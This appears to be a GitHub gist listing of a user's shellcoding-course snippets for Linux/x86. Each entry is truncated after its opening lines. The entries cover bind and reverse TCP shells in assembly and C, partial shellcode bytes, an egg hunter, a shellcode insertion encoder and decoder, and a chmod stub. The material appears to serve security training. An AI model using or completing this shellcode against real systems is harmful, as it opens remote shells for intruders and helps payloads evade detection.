Skip to content

Instantly share code, notes, and snippets.

View geyslan's full-sized avatar
🚲
...

Gregório G. geyslan

🚲
...
View GitHub Profile
@geyslan
geyslan / shell_bind_tcp.asm
Last active October 7, 2023 10:00
Shell Bind TCP in Assembly (Linux/x86) - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm
global _start
section .text
_start:
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)
@geyslan
geyslan / shell_bind_tcp.c
Last active June 7, 2022 01:30
Shell Bind TCP in C Language (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
@geyslan
geyslan / shell_bind_tcp_shellcode.asm
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode in Assembly (Linux/x86) - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm
global _start
section .text
_start:
; Setting port number
@geyslan
geyslan / shellcode.c
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
@geyslan
geyslan / shell_reverse_tcp.asm
Last active May 5, 2024 03:52
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
@geyslan
geyslan / egg_hunter.asm
Last active November 27, 2023 06:41
Egg Hunter in Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm
global _start
section .text
_start:
; setting the registers
cld ; clear the direction flag (DF) to use scasd correctly
xor ecx, ecx
@geyslan
geyslan / egg_hunter_shellcode.c
Last active December 3, 2021 19:59
Egg Hunter Shellcode - C Language - Linux/x86 - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char egg[] = \
// Write "Egg Mark" and exit
"\x90\x50\x90\x50" // <- First Four Bytes of Signature
@geyslan
geyslan / insertion_decoder.asm
Last active May 26, 2018 23:03
Insertion Decoder - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_decoder.asm
global _start
section .text
_start:
jmp getaddress
mainflow:
@geyslan
geyslan / insertion_encoder.py
Last active May 26, 2018 23:04
Multi-pattern Insertion Shellcode Encoder - Python Language - forlife
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import getopt
import string
@geyslan
geyslan / tiny_chmod.asm
Last active May 26, 2018 23:05
Tiny chmod - Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm
global _start
section .text
_start:
; int chmod(const char *path, mode_t mode);